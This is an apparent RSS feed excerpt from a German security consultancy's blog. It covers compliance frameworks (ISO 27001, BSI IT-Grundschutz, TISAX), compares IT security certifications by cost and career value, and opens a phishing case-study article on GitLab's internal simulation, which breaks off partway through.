&lt;p&gt;&lt;strong&gt;BSI IT-Grundschutz as an operational framework + ISO 27001 as certification:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The synergies are significant. The BSI IT-Grundschutz profile for SMEs offers a structured, German-language entry point without high consulting costs. The ISO 27001 certificate built upon this provides a publicly verifiable quality signal to customers. The BSI offers an official mapping through which an IT-Grundschutz implementation can lead directly to ISO 27001 certification - no duplicate documentation effort.&lt;/p&gt;
&lt;h3 id=&quot;recommended-combination-for-automotive-suppliers&quot;&gt;Recommended combination for automotive suppliers&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ISO 27001 as a framework + TISAX as industry-specific proof:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since approximately 70% of VDA ISA controls align with ISO 27001 requirements, the additional effort required for a TISAX assessment is manageable if an ISO 27001 ISMS is already in place. The recommended approach:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Establish an ISO 27001 ISMS as a framework&lt;/li&gt;
&lt;li&gt;Conduct a VDA ISA gap analysis (determine the gap relative to TISAX)&lt;/li&gt;
&lt;li&gt;Add automotive-specific controls (prototype protection, OEM supply chain)&lt;/li&gt;
&lt;li&gt;Aim for dual certification: ISO 27001 certificate and TISAX label&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Advantage:&lt;/strong&gt; Maintain only one ISMS instead of two parallel systems. Documentation effort decreases by about 40%, and credibility with multinational customers increases.&lt;/p&gt;
&lt;h2 id=&quot;common-mistakes-in-choosing-a-framework&quot;&gt;Common Mistakes in Choosing a Framework&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Mistake 1: Treating TISAX as a substitute for ISO 27001.&lt;/strong&gt; TISAX is not a publicly recognized certification - it is an industry-specific label. Customers outside the automotive industry do not accept it as proof of information security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mistake 2: Viewing BSI IT-Grundschutz and ISO 27001 as competitors.&lt;/strong&gt; They are complementary. Many successful ISMS implementations use IT-Grundschutz as a methodology and ISO 27001 as a certification framework.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mistake 3: Defining the scope as too broad or too narrow.&lt;/strong&gt; With ISO 27001, a scope that is too broad leads to overload, while one that is too narrow causes customers to doubt its relevance. Start with the core area and expand from there.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mistake 4: Documentation without implementation.&lt;/strong&gt; In the ISO 27001 Stage 2 audit and the TISAX assessment, actual practices are examined - not just the documentation. Auditors conduct interviews and require evidence.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mistake 5: Management commitment exists only on paper.&lt;/strong&gt; All three frameworks require active engagement from senior management. Without this, implementation will fail - regardless of which framework is chosen.&lt;/p&gt;
&lt;h2 id=&quot;frequently-asked-questions&quot;&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3 id=&quot;can-i-meet-nis2-requirements-with-bsi-it-grundschutz&quot;&gt;Can I meet NIS2 requirements with BSI IT-Grundschutz?&lt;/h3&gt;
&lt;p&gt;Yes. The BSI IT-Grundschutz profile for SMEs addresses the essential technical and organizational measures required by NIS2 Art. 21. The BSI recognizes the implementation of IT-Grundschutz as proof of compliance. For KRITIS companies and critical infrastructure entities, ISO 27001 is additionally recommended.&lt;/p&gt;
&lt;h3 id=&quot;is-iso-27001-or-tisax-more-expensive&quot;&gt;Is ISO 27001 or TISAX more expensive?&lt;/h3&gt;
&lt;p&gt;For SMEs with fewer than 50 employees, a TISAX AL2 assessment (3,000-6,000 EUR) is more cost-effective than an initial ISO 27001 certification (total cost of 56,000+ EUR). For medium-sized companies, the costs are similar, especially if TISAX AL3 with an on-site audit is required. The decisive factor is the industry: automotive suppliers need TISAX, regardless of the cost.&lt;/p&gt;
&lt;h3 id=&quot;how-long-does-a-tisax-assessment-take&quot;&gt;How long does a TISAX assessment take?&lt;/h3&gt;
&lt;p&gt;Assessment preparation takes 3-12 months, depending on the assessment level and initial status. The actual assessment takes 2-5 days. A lead time of 4-8 weeks is often required between booking and the assessment date. The label is activated in the ENX portal 3-5 business days after the assessment.&lt;/p&gt;
&lt;h3 id=&quot;do-i-also-need-iso-27001-for-tisax&quot;&gt;Do I also need ISO 27001 for TISAX?&lt;/h3&gt;
&lt;p&gt;No - TISAX does not replace ISO 27001, and vice versa. However, implementing both makes sense if you serve both automotive customers and other customers. The synergies from a shared ISMS significantly reduce the overall effort.&lt;/p&gt;
&lt;h2 id=&quot;conclusion-the-right-choice-for-your-company&quot;&gt;Conclusion: The Right Choice for Your Company&lt;/h2&gt;
&lt;p&gt;There is no universally “best” solution - but there is the right one for your situation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;General SMEs with requirements from major customers:&lt;/strong&gt; ISO 27001 as a mandatory investment, BSI IT-Grundschutz as the implementation framework&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Public administration and government agencies:&lt;/strong&gt; BSI IT-Grundschutz as the primary framework, often required by law&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automotive suppliers:&lt;/strong&gt; TISAX label as a prerequisite for market access, ISO 27001 to increase efficiency&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Startups and SMEs without external certification requirements:&lt;/strong&gt; BSI SME Profile as a pragmatic starting point&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AWARE7 supports companies every step of the way - from the initial gap analysis to the successful certification audit. We provide manufacturer- and product-independent consulting.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/services/security-consulting/isms-iso-27001/&quot;&gt;Request ISO 27001 Consulting&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/contact/&quot;&gt;Schedule a Free Initial Consultation&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Compliance &amp; Standards</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>IT Security Certifications: T.I.S.P. vs. CISSP vs. CISM vs. CompTIA</title><link>https://a7.de/en/blog/it-security-certifications-compared-tisp-vs-cissp-vs-cism-vs/</link><guid isPermaLink="true">https://a7.de/en/blog/it-security-certifications-compared-tisp-vs-cissp-vs-cism-vs/</guid><description>Compare IT security certifications T.I.S.P., CISSP, CISM, CompTIA Security+, and ISO 27001 to choose by cost, prerequisites, and career impact.</description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Choosing an IT security certification is an investment in your career. Anyone looking to establish themselves as an information security officer, security consultant, or CISO in the DACH region faces the question: Which certification offers the greatest value - for your own career and for your employer?&lt;/p&gt;
&lt;p&gt;This comparison contrasts the five most relevant certifications and evaluates them based on cost, prerequisites, exam format, and relevance to the German market.&lt;/p&gt;
&lt;h2 id=&quot;an-overview-of-the-five-most-important-it-security-certifications&quot;&gt;An Overview of the Five Most Important IT Security Certifications&lt;/h2&gt;
&lt;h3 id=&quot;tisp---teletrust-information-security-professional&quot;&gt;T.I.S.P. - TeleTrusT Information Security Professional&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://a7.de/en/services/training/tisp/&quot;&gt;T.I.S.P. certification&lt;/a&gt; is the only European expert certification for information security. It is awarded by the Bundesverband IT-Sicherheit e.V. (TeleTrusT) and audited by DEKRA. The certification covers 20 knowledge areas - ranging from cryptography and network security to GDPR, NIS-2, and BSI IT-Grundschutz.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Special Feature:&lt;/strong&gt; T.I.S.P. is the only certification whose exam material is explicitly tailored to European and German regulations. The exam is administered entirely in German.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Issuer:&lt;/strong&gt; TeleTrusT e.V. / DEKRA&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; 3 years of professional experience in IT security&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exam:&lt;/strong&gt; 180 multiple-choice questions, 3 hours, 70% passing score&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language:&lt;/strong&gt; German&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validity:&lt;/strong&gt; 3 years (recertifiable)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost:&lt;/strong&gt; approx. 3,200 EUR training + 360 EUR exam fee = &lt;strong&gt;3,560 EUR net&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;cissp---certified-information-systems-security-professional&quot;&gt;CISSP - Certified Information Systems Security Professional&lt;/h3&gt;
&lt;p&gt;The CISSP from (ISC)² is the most internationally recognized security certification. It is aimed at experienced professionals with broad security knowledge and covers eight domains - from Security and Risk Management to Software Development Security. The exam is adaptive (CAT) and is administered in English.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Issuing body:&lt;/strong&gt; (ISC)²&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; 5 years of professional experience in at least 2 of the 8 domains&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exam:&lt;/strong&gt; 125-175 adaptive questions (CAT), 4 hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language:&lt;/strong&gt; English (German translation available as an aid)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validity:&lt;/strong&gt; 3 years (40 CPE credits/year)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost:&lt;/strong&gt; approx. 5,000-6,000 EUR for training + 749 USD exam fee ≈ &lt;strong&gt;6,500-8,000 EUR&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;cism---certified-information-security-manager&quot;&gt;CISM - Certified Information Security Manager&lt;/h3&gt;
&lt;p&gt;ISACA’s CISM focuses on IT security management and governance. It is particularly relevant for professionals who work in or aspire to leadership positions - such as CISOs, IT risk managers, and compliance officers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Publisher:&lt;/strong&gt; ISACA&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; 5 years of experience in IT security management (3 years with substitution possible)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exam:&lt;/strong&gt; 150 multiple-choice questions, 4 hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language:&lt;/strong&gt; English&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validity:&lt;/strong&gt; 3 years (20 CPE hours/year)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost:&lt;/strong&gt; approx. 1,500-2,000 EUR for training + 575-760 USD exam fee ≈ &lt;strong&gt;2,500-3,500 EUR&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;comptia-security&quot;&gt;CompTIA Security+&lt;/h3&gt;
&lt;p&gt;CompTIA Security+ is the internationally recognized entry-level certification for IT security. It is aimed at career starters and IT professionals who want to demonstrate a solid foundation of knowledge in security concepts.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Publisher:&lt;/strong&gt; CompTIA&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; None formally; recommended: 2 years of IT experience&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exam:&lt;/strong&gt; Max. 90 questions (MC + practical), 90 minutes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language:&lt;/strong&gt; English, Japanese, Portuguese (no German)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validity:&lt;/strong&gt; 3 years (50 CEUs or retake)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost:&lt;/strong&gt; approx. 500-800 EUR training + 392 USD exam fee ≈ &lt;strong&gt;1,000-1,400 EUR&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;iso-27001-lead-auditor&quot;&gt;ISO 27001 Lead Auditor&lt;/h3&gt;
&lt;p&gt;The ISO 27001 Lead Auditor certification qualifies individuals to conduct ISMS audits independently. It is specifically designed for auditors who assess management systems according to &lt;a href=&quot;https://a7.de/en/topics/iso-27001/&quot;&gt;ISO 27001&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Issuing bodies:&lt;/strong&gt; Various (PECB, IRCA, BSI, TÜV)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; Basic knowledge of ISO 27001; audit experience recommended&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exam:&lt;/strong&gt; Written exam; format varies by provider&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language:&lt;/strong&gt; German or English (depending on the provider)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Validity:&lt;/strong&gt; 3 years (depending on the certifying body)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost:&lt;/strong&gt; approx. 2,500-3,500 EUR including exam&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;comparison-table-tisp-vs-cissp-vs-cism-vs-security-vs-iso-27001-la&quot;&gt;Comparison Table: T.I.S.P. vs. CISSP vs. CISM vs. Security+ vs. ISO 27001 LA&lt;/h2&gt;
&lt;div class=&quot;table-scroll&quot;&gt;




































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Criterion&lt;/th&gt;&lt;th&gt;T.I.S.P.&lt;/th&gt;&lt;th&gt;CISSP&lt;/th&gt;&lt;th&gt;CISM&lt;/th&gt;&lt;th&gt;Security+&lt;/th&gt;&lt;th&gt;ISO 27001 LA&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Focus&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Holistic IT security, EU law&lt;/td&gt;&lt;td&gt;Holistic IT security, international&lt;/td&gt;&lt;td&gt;Security management &amp;amp; governance&lt;/td&gt;&lt;td&gt;Fundamentals of IT security&lt;/td&gt;&lt;td&gt;ISMS auditing&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Modules/Domains&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;20 modules&lt;/td&gt;&lt;td&gt;8 domains&lt;/td&gt;&lt;td&gt;4 domains&lt;/td&gt;&lt;td&gt;5 domains&lt;/td&gt;&lt;td&gt;ISO 27001 series of standards&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Professional Experience&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3 years&lt;/td&gt;&lt;td&gt;5 years&lt;/td&gt;&lt;td&gt;5 years (3 with substitution)&lt;/td&gt;&lt;td&gt;None (2 years recommended)&lt;/td&gt;&lt;td&gt;Recommended&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Exam Duration&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3 hours&lt;/td&gt;&lt;td&gt;4 hours (adaptive)&lt;/td&gt;&lt;td&gt;4 hours&lt;/td&gt;&lt;td&gt;90 minutes&lt;/td&gt;&lt;td&gt;Varies&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Exam language&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;German&lt;/td&gt;&lt;td&gt;English&lt;/td&gt;&lt;td&gt;English&lt;/td&gt;&lt;td&gt;English&lt;/td&gt;&lt;td&gt;German/English&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Total cost&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;~3,560 EUR&lt;/td&gt;&lt;td&gt;~6,500-8,000 EUR&lt;/td&gt;&lt;td&gt;~2,500-3,500 EUR&lt;/td&gt;&lt;td&gt;~1,000-1,400 EUR&lt;/td&gt;&lt;td&gt;~2,500-3,500 EUR&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Validity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3 years&lt;/td&gt;&lt;td&gt;3 years&lt;/td&gt;&lt;td&gt;3 years&lt;/td&gt;&lt;td&gt;3 years&lt;/td&gt;&lt;td&gt;3 years&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GDPR/NIS-2 included&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Yes (exam material)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;Indirectly&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;BSI IT-Grundschutz&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Yes (exam material)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Relevance in Germany, Austria, and Switzerland (DACH)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Very high&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;International recognition&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Europe&lt;/td&gt;&lt;td&gt;Worldwide&lt;/td&gt;&lt;td&gt;Worldwide&lt;/td&gt;&lt;td&gt;Worldwide&lt;/td&gt;&lt;td&gt;Worldwide&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;which-certification-is-right-for-whom&quot;&gt;Which certification is right for whom?&lt;/h2&gt;
&lt;h3 id=&quot;for-the-dach-market-tisp&quot;&gt;For the DACH market: T.I.S.P.&lt;/h3&gt;
&lt;p&gt;Those who work primarily in Germany, Austria, or Switzerland benefit most from the &lt;a href=&quot;https://a7.de/en/services/training/tisp/&quot;&gt;T.I.S.P. certificate&lt;/a&gt;. The reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Regulatory relevance:&lt;/strong&gt; T.I.S.P. is the only certification that includes the GDPR, &lt;a href=&quot;https://a7.de/en/topics/nis2/&quot;&gt;NIS 2&lt;/a&gt;, BSI &lt;a href=&quot;https://a7.de/en/topics/it-grundschutz/&quot;&gt;IT-Grundschutz&lt;/a&gt;, and &lt;a href=&quot;https://a7.de/en/topics/iso-27001/&quot;&gt;ISO 27001&lt;/a&gt; as mandatory modules. Especially with the entry into force of the NIS 2 implementation (§ 38 BSIG), managing directors must demonstrate verifiable qualifications in information security - T.I.S.P. meets this requirement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;German exam:&lt;/strong&gt; The entire exam is administered in German. Technical terminology and legal concepts are tested in the language in which they are used in everyday professional practice.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost-benefit:&lt;/strong&gt; With a total cost of 3,560 EUR, T.I.S.P. is significantly less expensive than the CISSP (~7,000 EUR) while offering comparable depth of content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry barrier:&lt;/strong&gt; 3 years of professional experience instead of 5 years for the CISSP - this makes T.I.S.P. more accessible to aspiring security professionals.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;for-international-careers-cissp&quot;&gt;For international careers: CISSP&lt;/h3&gt;
&lt;p&gt;Anyone working at global corporations, U.S. companies, or in international security teams will find it hard to avoid the CISSP. It is the global de facto standard and is most frequently required in job postings outside the DACH region.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; T.I.S.P. and CISSP can be easily combined. The overlap in content is about 70% - those who hold T.I.S.P. can earn the CISSP with reduced study effort.&lt;/p&gt;
&lt;h3 id=&quot;for-security-managers-and-cisos-cism&quot;&gt;For Security Managers and CISOs: CISM&lt;/h3&gt;
&lt;p&gt;The CISM is the right choice for professionals who work less technically and more strategically. It focuses on governance, risk management, and incident management from a management perspective.&lt;/p&gt;
&lt;h3 id=&quot;for-career-starters-comptia-security&quot;&gt;For career starters: CompTIA Security+&lt;/h3&gt;
&lt;p&gt;Security+ is suitable as a first certification for IT professionals who want to transition into the security field. The low entry barrier (no professional experience required) and moderate cost (~1,200 EUR) make it an ideal starting point.&lt;/p&gt;
&lt;h3 id=&quot;for-auditors-iso-27001-lead-auditor&quot;&gt;For auditors: ISO 27001 Lead Auditor&lt;/h3&gt;
&lt;p&gt;Anyone wishing to conduct ISMS audits - whether internally or as an external auditor - needs Lead Auditor certification. It complements T.I.S.P. or CISSP and is not a substitute for them.&lt;/p&gt;
&lt;h2 id=&quot;tisp-and-nis-2-why-the-certification-will-be-particularly-relevant-in-2026&quot;&gt;T.I.S.P. and NIS-2: Why the certification will be particularly relevant in 2026&lt;/h2&gt;
&lt;p&gt;With the German NIS 2 implementation (NIS2UmsuCG), approximately 29,500 companies will be newly subject to cybersecurity obligations starting in 2026. Section 38 of the BSIG requires managing directors to participate in information security training and to demonstrate verifiable qualifications.&lt;/p&gt;
&lt;p&gt;The T.I.S.P. certificate covers all competency areas required by NIS-2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Risk analysis and ISMS implementation (ISO 27001, BSI IT-Grundschutz)&lt;/li&gt;
&lt;li&gt;Business Continuity Management (ISO 22301)&lt;/li&gt;
&lt;li&gt;Incident response and SOC setup&lt;/li&gt;
&lt;li&gt;Cryptography and network security&lt;/li&gt;
&lt;li&gt;GDPR, NIS-2, KRITIS, DORA - European regulatory knowledge&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This makes T.I.S.P. not only a career booster but also fulfills specific legal requirements.&lt;/p&gt;
&lt;h2 id=&quot;salary-comparison-what-do-certified-it-security-professionals-earn&quot;&gt;Salary Comparison: What Do Certified IT Security Professionals Earn?&lt;/h2&gt;
&lt;p&gt;The following salary ranges are based on market data for the DACH region (2025/2026):&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;


































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Role&lt;/th&gt;&lt;th&gt;Without Certification&lt;/th&gt;&lt;th&gt;With T.I.S.P./CISSP&lt;/th&gt;&lt;th&gt;Difference&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;IT Security Analyst&lt;/td&gt;&lt;td&gt;42,000-50,000 EUR&lt;/td&gt;&lt;td&gt;50,000-60,000 EUR&lt;/td&gt;&lt;td&gt;+15-20%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Security Consultant&lt;/td&gt;&lt;td&gt;50,000-65,000 EUR&lt;/td&gt;&lt;td&gt;60,000-80,000 EUR&lt;/td&gt;&lt;td&gt;+20-25%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Senior Consultant / Lead Auditor&lt;/td&gt;&lt;td&gt;60,000-78,000 EUR&lt;/td&gt;&lt;td&gt;75,000-95,000 EUR&lt;/td&gt;&lt;td&gt;+18-22%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CISO / Head of IT Security&lt;/td&gt;&lt;td&gt;75,000-100,000 EUR&lt;/td&gt;&lt;td&gt;90,000-130,000 EUR&lt;/td&gt;&lt;td&gt;+20-30%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Certifications are a clear indicator of salary potential. Employers value verifiable qualifications - especially in a market with an acute shortage of skilled workers.&lt;/p&gt;
&lt;h2 id=&quot;frequently-asked-questions&quot;&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3 id=&quot;can-i-combine-multiple-certifications&quot;&gt;Can I combine multiple certifications?&lt;/h3&gt;
&lt;p&gt;Yes, and it is recommended. A common combination in the DACH region is T.I.S.P. (European focus) + CISSP (international focus). The approximately 70% overlap in content significantly reduces the preparation effort required for the second certification.&lt;/p&gt;
&lt;h3 id=&quot;which-certification-is-most-frequently-required-in-job-postings&quot;&gt;Which certification is most frequently required in job postings?&lt;/h3&gt;
&lt;p&gt;In Germany, T.I.S.P. and ISO 27001 Lead Auditor are most frequently mentioned in job postings for ISB and consulting roles. Internationally, the CISSP dominates. The CISM is primarily required for management and governance positions.&lt;/p&gt;
&lt;h3 id=&quot;what-is-the-best-way-to-prepare-for-tisp&quot;&gt;What is the best way to prepare for T.I.S.P.?&lt;/h3&gt;
&lt;p&gt;A 5-day preparation course with an accredited provider is the most effective way. &lt;a href=&quot;https://a7.de/en/services/training/tisp/&quot;&gt;AWARE7 offers T.I.S.P. training&lt;/a&gt; with a DEKRA exam - as one of four accredited providers in Germany and with insider knowledge through membership on the T.I.S.P. Board.&lt;/p&gt;
&lt;h3 id=&quot;is-tisp-internationally-recognized&quot;&gt;Is T.I.S.P. internationally recognized?&lt;/h3&gt;
&lt;p&gt;T.I.S.P. is primarily recognized in Europe. Within the EU, and particularly in the DACH region, it is highly regarded by employers, regulatory authorities, and certification bodies. For positions outside Europe, the CISSP is the better choice.&lt;/p&gt;
&lt;h3 id=&quot;is-comptia-security-still-worthwhile-after-tisp&quot;&gt;Is CompTIA Security+ still worthwhile after T.I.S.P.?&lt;/h3&gt;
&lt;p&gt;No. T.I.S.P. covers more comprehensive content and is more highly valued in the DACH region. Security+ is a sensible starting point before T.I.S.P., but not an upgrade afterward.&lt;/p&gt;
&lt;h2 id=&quot;conclusion-the-right-certification-for-your-career&quot;&gt;Conclusion: The Right Certification for Your Career&lt;/h2&gt;
&lt;p&gt;There is no universally “best” IT security certification - but there is the right one for your situation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DACH focus + EU regulations →&lt;/strong&gt; &lt;a href=&quot;https://a7.de/en/services/training/tisp/&quot;&gt;T.I.S.P.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;International career →&lt;/strong&gt; CISSP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Management track →&lt;/strong&gt; CISM&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry level →&lt;/strong&gt; CompTIA Security+&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit specialization →&lt;/strong&gt; ISO 27001 Lead Auditor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For professionals in the DACH region, T.I.S.P. offers the best overall package: European regulations as exam material, German as the exam language, moderate costs, and direct NIS 2 relevance. As one of four accredited providers in Germany and a member of the T.I.S.P. Board, AWARE7 prepares you optimally for the exam.&lt;/p&gt;</content:encoded><category>Training &amp; Certification</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Phishing in Practice: Case Studies and Lessons Learned</title><link>https://a7.de/en/blog/phishing-in-practice-case-studies-and-lessons-learned/</link><guid isPermaLink="true">https://a7.de/en/blog/phishing-in-practice-case-studies-and-lessons-learned/</guid><description>Analysis of Real Phishing Attacks - From GitLab’s Internal Simulation to Energy Bill Scams. What Companies Can Learn From Them.</description><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Phishing isn’t some abstract threat from a textbook. It’s a tactic that even experienced tech professionals fall for - as four real-life cases clearly demonstrate. If you want to understand how attackers operate and why their methods work, you can’t ignore concrete case studies. Statistics show that phishing is one of the most common attack methods. Real-world examples explain why.&lt;/p&gt;
&lt;p&gt;This article analyzes four documented phishing cases and draws conclusions that companies can apply immediately.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;why-case-studies-are-important&quot;&gt;Why Case Studies Are Important&lt;/h2&gt;
&lt;p&gt;Cybersecurity training faces an acceptance problem: Many employees consider abstract warnings to be exaggerated. “That wouldn’t work on me” is a common reaction - until a colleague clicks on a link and the incident becomes known throughout the company.&lt;/p&gt;
&lt;p&gt;Case studies serve two purposes: they make the reality of the threat tangible, and they reveal the psychological mechanisms attackers exploit. Only those who know the patterns can recognize them - before it’s too late.&lt;/p&gt;
&lt;p&gt;The following four cases come from different contexts: a technology company, the financial sector, retail, and the public sector. Together, they show that no environment is immune.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;case-study-1-gitlab-tests-its-own-employees---20-fell-for-it&quot;&gt;Case Study 1: GitLab Tests Its Own Employees - 20% Fell for It&lt;/h2&gt;
&lt;h3 id=&quot;what-happened&quot;&gt;What happened&lt;/h3&gt;
&lt;p&gt;GitLab - one of the best-known technology companies in the source code management sector - conducted an internal &lt;a href=&quot;https://a7.de/en/services/security-awareness/phishing-simulation/&quot;&gt;phishing simulation&lt;/a&gt;. The assumption was obvious: anyone working in the IT industry is prepared for phishing. The result clearly contradicted this assumption.&lt;/p&gt;
&lt;p&gt;In a sample of 50 employees, 17 clicked on the link provided. The lure: a new MacBook. Of these 17, 10 subsequently entered their login credentials on the fake website. Only six employees reported the email as suspicious to the IT department.&lt;/p&gt;
&lt;p&gt;That corresponds to a click-through rate of 34 percent and a credential entry rate of 20 percent - at a company that deals with IT security issues on a daily basis.&lt;/p&gt;
&lt;h3 id=&quot;what-this-means&quot;&gt;What this means&lt;/h3&gt;
&lt;p&gt;The affected employees did not face any further consequences. Instead, GitLab provided links to guidance and training materials. This was the right decision for several reasons: Punishment spreads quickly throughout the company, creates a negative atmosphere, and leads employees to click on links less frequently out of fear of making mistakes - which lowers productivity without improving security.&lt;/p&gt;
